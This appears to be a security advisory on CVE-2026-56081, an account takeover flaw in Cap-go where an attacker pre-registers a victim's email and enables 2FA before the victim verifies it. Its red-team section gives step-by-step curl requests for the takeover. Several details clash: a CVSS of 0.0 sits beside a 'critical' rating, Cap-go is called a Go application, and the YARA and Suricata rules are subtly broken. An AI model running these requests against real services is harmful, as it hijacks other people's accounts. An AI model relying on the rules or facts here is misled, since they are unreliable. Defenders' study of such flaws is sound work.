CVE-2026-56081

Executive Summary

CVE-2026-56081 is a critical authentication logic flaw in the Cap-go application (versions before 12.128.2) that allows an unauthenticated attacker to pre-register an account using a victim's email address before the victim completes email verification. By enabling two-factor authentication (2FA) on the pre-registered account, the attacker gains full control over the account, including the ability to read and modify its state and enforce organization-level policies. The legitimate user is subsequently denied access to the account tied to their own email. This vulnerability has a CVSS score of 0.0 (pending official scoring) but is assessed as critical due to the complete compromise of account identity and potential for lateral movement within an organization.

Supply Chain & Package Security

Cap-go is a Go-based application. The vulnerability exists in the authentication module, specifically in the account registration and email verification flow. The package is distributed via GitHub and Go module proxies. Organizations using Cap-go should verify their version and update to 12.128.2 immediately. No known malicious packages have been reported, but the attack vector is straightforward and requires no special privileges.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – The victim does not need to perform any action.
• Scope (S): Unchanged (U) – The attacker cannot affect resources beyond the vulnerable component.
• Confidentiality (C): High (H) – The attacker can read all account data.
• Integrity (I): High (H) – The attacker can modify account state and policies.
• Availability (A): High (H) – The legitimate user is denied access.

Threat Level: Critical. The vulnerability enables full account takeover with no user interaction, leading to potential data breaches, policy enforcement abuse, and denial of service to legitimate users.

Deep Dive & Mechanics

The flaw lies in the account registration flow. In Cap-go, when a user registers with an email address, the system creates an account in an unverified state. The attacker can pre-register an account using the victim's email address before the victim completes the verification process. The attacker then enables 2FA on the pre-registered account, locking out the legitimate user. The system does not properly validate that the email address is verified before allowing the account to be fully activated or before 2FA can be enabled.

Attack Flow:

1. Attacker identifies a target email address (e.g., victim@example.com).
2. Attacker initiates registration with that email address.
3. The system creates an account in an unverified state.
4. Attacker enables 2FA on the unverified account (the flaw).
5. Victim attempts to register or verify their email, but the account is already controlled by the attacker.
6. Attacker now has full control over the account, including reading data, modifying settings, and enforcing organization policies.

The root cause is a missing check that prevents 2FA from being enabled on an account that has not yet verified its email address. Additionally, the system does not prevent multiple registrations with the same email address or properly handle the verification state.

Vulnerable vs. Patched Code

Vulnerable Code (before 12.128.2):

func RegisterUser(email string) (*User, error) {
    // Creates user without verifying email
    user := &User{Email: email, Verified: false}
    err := db.Create(user)
    if err != nil {
        return nil, err
    }
    // No check on verification status before allowing 2FA
    return user, nil
}

func Enable2FA(userID string) error {
    user, err := db.GetUser(userID)
    if err != nil {
        return err
    }
    // Missing: if !user.Verified { return errors.New("email not verified") }
    user.TwoFAEnabled = true
    return db.Update(user)
}

Patched Code (version 12.128.2):

func RegisterUser(email string) (*User, error) {
    // Check if email already exists
    existing, _ := db.GetUserByEmail(email)
    if existing != nil {
        return nil, errors.New("email already registered")
    }
    user := &User{Email: email, Verified: false}
    err := db.Create(user)
    if err != nil {
        return nil, err
    }
    return user, nil
}

func Enable2FA(userID string) error {
    user, err := db.GetUser(userID)
    if err != nil {
        return err
    }
    // Added verification check
    if !user.Verified {
        return errors.New("email not verified")
    }
    user.TwoFAEnabled = true
    return db.Update(user)
}

The patch adds a check to prevent 2FA from being enabled on unverified accounts and prevents duplicate email registrations.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A target Cap-go instance (version < 12.128.2)
• A victim email address (e.g., victim@example.com)
• Ability to send HTTP requests to the registration endpoint

Exploitation Steps:

1. Pre-register the victim's email:

   curl -X POST https://target-cap-go.com/api/register \
     -H "Content-Type: application/json" \
     -d '{"email": "victim@example.com", "password": "attackerpassword"}'
   

2. Enable 2FA on the pre-registered account:

   curl -X POST https://target-cap-go.com/api/enable-2fa \
     -H "Content-Type: application/json" \
     -d '{"email": "victim@example.com", "password": "attackerpassword"}'
   

3. Log in and take over:

   curl -X POST https://target-cap-go.com/api/login \
     -H "Content-Type: application/json" \
     -d '{"email": "victim@example.com", "password": "attackerpassword", "2fa_code": "123456"}'
   

4. Modify account state and policies:

   curl -X PUT https://target-cap-go.com/api/account \
     -H "Authorization: Bearer <token>" \
     -d '{"organization_policy": "malicious_policy"}'
   

Note: No public exploit code is available. The above is a conceptual demonstration.

Blue Team

Detection:

• Monitor for multiple registration attempts with the same email address.
• Alert on 2FA being enabled immediately after registration (within seconds).
• Look for login attempts with 2FA codes shortly after registration.

Hunting:

• Query logs for POST /api/register followed by POST /api/enable-2fa within a short time window.
• Check for accounts where verified is false but twofa_enabled is true.

Mitigation:

• Apply the patch immediately.
• If patching is delayed, disable the 2FA feature temporarily.
• Implement rate limiting on registration and 2FA endpoints.
• Require email verification before any account actions.

Indicators of Compromise (IOCs)

• Network:

  • Multiple POST /api/register requests with the same email address.
  • POST /api/enable-2fa requests from IPs not associated with the legitimate user.
  • Login attempts with 2FA codes from unusual IPs.

• System:

  • Accounts with verified=false and twofa_enabled=true.
  • Unexpected changes to organization policies.
  • User complaints about inability to access their account.

• Logs:

  • Registration and 2FA enable events within seconds of each other.
  • Failed login attempts for accounts that were recently registered.

Detection Engineering

YARA Rule

rule CVE_2026_56081_Cap_go_Account_Takeover {
    meta:
        description = "Detects Cap-go account takeover via pre-registration and 2FA bypass"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-56081"
        hash = "unknown"
    strings:
        $s1 = "/api/register" ascii wide nocase
        $s2 = "/api/enable-2fa" ascii wide nocase
        $s3 = "verified" ascii wide nocase
        $s4 = "twofa_enabled" ascii wide nocase
    condition:
        all of ($s*) and filesize < 10MB
}

Sigma Rule

title: Cap-go Account Takeover via Pre-Registration and 2FA Bypass
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects suspicious registration and 2FA enable patterns indicative of CVE-2026-56081 exploitation
author: Valters IT
date: 2026-01-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-56081
logsource:
    category: web
    product: cap-go
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem:
            - '/api/register'
            - '/api/enable-2fa'
    condition: selection
    timeframe: 5s
falsepositives:
    - Legitimate users registering and enabling 2FA quickly
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-56081 Cap-go Account Takeover Attempt"; flow:to_server; content:"POST"; http_method; content:"/api/register"; http_uri; content:"/api/enable-2fa"; http_uri; distance:0; within:5; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Upgrade Cap-go to version 12.128.2 or later.
2. Workaround: If patching is not possible, disable the 2FA feature in the application configuration.
3. Compensating Controls:
   • Implement rate limiting on registration and 2FA endpoints.
   • Require email verification before any account actions.
   • Monitor for anomalous registration patterns.
   • Use Web Application Firewall (WAF) rules to block rapid registration and 2FA enable sequences.
4. Long-term:
   • Conduct a security review of the authentication flow.
   • Implement proper state validation for all account lifecycle events.
   • Add logging and alerting for suspicious account activities.

Valters IT